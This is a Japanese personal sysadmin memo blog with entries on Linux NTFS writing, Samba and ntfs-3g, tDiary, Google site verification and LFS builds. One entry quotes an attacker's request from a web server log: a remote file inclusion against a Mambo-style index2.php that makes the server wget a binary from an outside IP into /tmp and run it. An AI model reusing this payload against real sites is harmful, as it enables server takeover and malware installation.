僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。
一体何だ。何しに来やがったんだろう。こんな 投稿のためにぐぐっていたせいか?
SERVER 195.92.95.61 - - [12/Jan/2005:12:43:38 +0900] "GET \ /cobalt-images/welcome2.gif HTTP/1.0" 404 472 $host 195.92.95.61 61.95.92.195.in-addr.arpa domain name pointer ariston.netcraft.com.
と考えていたら、 似たような困惑もかなり。
使いづらいmixiに嵌って来た。
SERVER 61.19.121.46 - - [11/Jan/2006:21:06:24 +090\ 0] "GET /index2.php?option=com_content&do_pdf=1&id\ =1index2.php?_REQUEST[option]=com_content&_REQUEST\ [Itemid]=1&GLOBALS=&mosConfig_absolute_path=http:/\ /209.136.48.69/cmd.gif?&cmd=cd /tmp;wget 209.1\ 36.48.69/micu;chmod 744 micu;./micu;echo YYY\ ;echo| HTTP\x01.1" 400 299
適当に改行などしてみる。
GET /index2.php? option=com_content&do_pdf=1&id=1index2.php? _REQUEST[option]=com_content&_REQUEST[Itemid]=1& GLOBALS=&mosConfig_absolute_path= http://209.136.48.69/cmd.gif?& cmd=cd /tmp; wget 209.136.48.69/micu; chmod 744 micu; ./micu; echo YYY; echo| HTTP\x01.1
デスクトップに入れてみた。
一応動いている事だけ確認。
なんと、NTFSのファイル編集が可能になっていた!
(新規作成は無理だったが、ファイルサイズの伸縮はOK)
$ grep NTFS /usr/src/linux/.config CONFIG_NTFS_FS=m CONFIG_NTFS_DEBUG=y CONFIG_NTFS_RW=y
もう少しいらう。dd if=/dev/urandom of=/mnt/win/hoge.txt とか を何度かやってみる。
少し大きなデータだと書き込みが完了しなかったりする。
なんか100MBあたりを繰り返すと怪しくなってくるようだ。
なんでだろうなぁ。
My Documents# ls -l key.txt.txt -rw------- 2 root root 209715200 Jan 12\ 17:29 hoge.txt My Documents# dd if=/dev/urandom \ of=hoge.txt \ bs=1MB count=200 dd: writing `hoge.txt': Operation not supported 71+0 records in 70+0 records ou My Documents# ls -l key.txt.txt -rw------- 2 root root 73400320 Jan 12\ 17:31 hoge.txt # tail -n2 /var/log/syslog Jan 12 17:31:55 cel2g kernel: NTFS-fs error (devic\ e hda1): ntfs_attr_extend_allocation(): Not enough\ space in the mft record for the extended attribut\ e record. This case is not implemented yet. Jan 12 17:31:55 cel2g kernel: NTFS-fs error (devic\ e hda1): ntfs_file_buffered_write(): Cannot perfor\ m write to inode 0x4d3f, attribute type 0x80, beca\ use extending the allocation failed (error code -9\ 5)
ノートにも2.6.15を入れてしまった。ついでに接続相手の ない無線LANも。
しかし、休止状態だかスタンバイだかではリードオンリーに なるっぽい。
Jan 12 20:16:05 HOST kernel: NTFS-fs error (device\ hda1): load_system_files(): $LogFile is not clean\ . Mounting read-only. Mount in Windows. Jan 12 20:16:05 HOST kernel: NTFS-fs warning (devi\ ce hda1): load_system_files(): Windows is hibernat\ ed. Will not be able to remount read-write. Run \ chkdsk.
一旦WinXPを起動させ、普通に終了してからLinuxに
切り替えると、デスクトップ同様書き込めるようになった。
マウントオプションは -o nls=utf8 が良いようだ。
でtdiaryを起動したrubyが暴走してしまう っぽい。
rsyncでweb鯖からバックアップしていたが、ブラウザで作成していた
鯖側の$HOME/diary/tdiary.confがバックアップしたホストに吸われて
rubyを混乱させた模様である(消すと直った)。
さしあたりrsyncの--exclodeにtdiary.confを追記しておく。
↑ちょっと書式が崩れてたので直す。それだけ。
トップページからはたどれず、ググらないと↑は発見できなかった。
昨日について少し補足。
まずGoogleアカウントでログイン。
そしてGoogleに覗いてもらうURLの登録。
Googleに登録URLを覗いてもらうためには、サイトに
↓のどちらかの加工が必要になるらしい。
1.登録したURL(のindex.htmlとか)に、指示されたランダムな
記号の入ったMETAタグを入れる。
2.同じURLに、これまたランダムな記号の混じった
ファイル(空っぽでよさげ)を作る(昨日は後者の方法を取った)。
URLが違っているとうまくできないらしい。レンタルサーバなどでは
やりにくい場合も。
「確認」をクリックした時のアクセスログはこんなの。
64.233.172.35 - - [11/Jan/2007:17:55:28 +0900] \ "GET /google98fc3f7913097109.html HTTP/1.1" \ 200 - "-" "Google-Sitemaps/1.0" 149 233 64.233.172.35 - - [11/Jan/2007:17:55:28 +0900] \ "GET /noexist_98fc3f7913097109.html HTTP/1.1" \ 404 227 "-" "Google-Sitemaps/1.0" 151 372
日本語フォントが必要なアプリケーションが使えない だけだ。Windowsの日本語ファイル救出は可能である。
apt-cache で見たら、sambaはVersion: 3.0.23d-2+b1 だった。 ntfs-3g はVersion: 1:20070102-1 とあった。
sambastartすると、/etc/samba/smb.conf が書き換えられる
模様。特にcharsetあたりがiso8859とかになってしまう。
ので、一旦sambastartしてからsmb.confを書き換えて
/etc/init.d/samba restartする。
よくわからないが、ntfs-3gには codepage=932もつけていた
方がいいらしい。そうしないと、文字化けが止まらなかった。
波型の問題は、
昨日と変わらない。
2.6.17.11を入れてからuptimeが139日に及んでいたが、新鯖はiptablesの
モジュールが一部抜けていたことに
気づく。
ついでにカーネル自体をアップデートすることにする。
2.6.18以降に上げる気にはなれなかったので、2.6.17.14。
ビルドには2時間半程かかっていた。
再起動後sshで入れて、wordpressは無事に見れたが、 tdiaryの先頭行(#!/usr/bin/env ruby)が解釈できなくなっていた。 `which ruby`の通りに書き換えて、この通り書き込めるように なって、安堵。
適当なスクリプトで試す。ちゃんと#!/usr/bin/env rubyは動いたのだけど。
放置気味のNTPサーバ兼DHCPサーバをアップデートした。
HDDが1.2GBしかないので、/usr/src, /usr/obj, /usr/ports は NFS している。
ざっと11時間くらいで FreeBSD 6.4-Release-p2 になった。
LFS6.4でどうにか。
アソシエーションができなくなる時は、PCの方も潔くリブートした方がいいのかも。
昨日落ちたwpa_supplicant.conf で実行したが、こんどは落ちなかった。
Plamo-4.22 の方も、madwifi を SVN 版と変えて、同じ設定で動く ことを一応確認。
JavaScriptのデータ型は、意外と面白そうに見えた。
<html> <script type="text/JavaScript"> var foo = { bar: { baz: 8}}; document.write(foo.bar.baz * 2 + "<br>"); </script> </html>
Firefoxのエラーコンソールと睨めっこしながらの試行錯誤を 経て、出力が16になった。
1/11はあまりできなかったが、1/12の今日、Chapter5を通過した。
やはり補助記憶装置の遅さがものをいう感じだった。
どのパッケージビルドにどれだけ時間がかかったかは適当に
保存してはおいた(gawkはmake checkがエラーで止まったので保存してない)。
大抵はSBUの目安より倍以上はかかっているように思えた(確認してない)
tools は保存しておいた。652MBあり、bzip2で25分かけて225MBの アーカイブになった。
chroot以降しばらく順調。
現在chapter6.9のglibc-2.20。
$ time { ../glibc-2.20/configure \ --prefix=/usr \ --disable-profile \ --enable-kernel=2.6.32 \ --enable-obsolete-rpc && make && make check ; }
16時くらいからmakeが始まり、
20時くらいからmake checkになったらしい。
夜明けまでに終わってくれるとありがたいのだけど。
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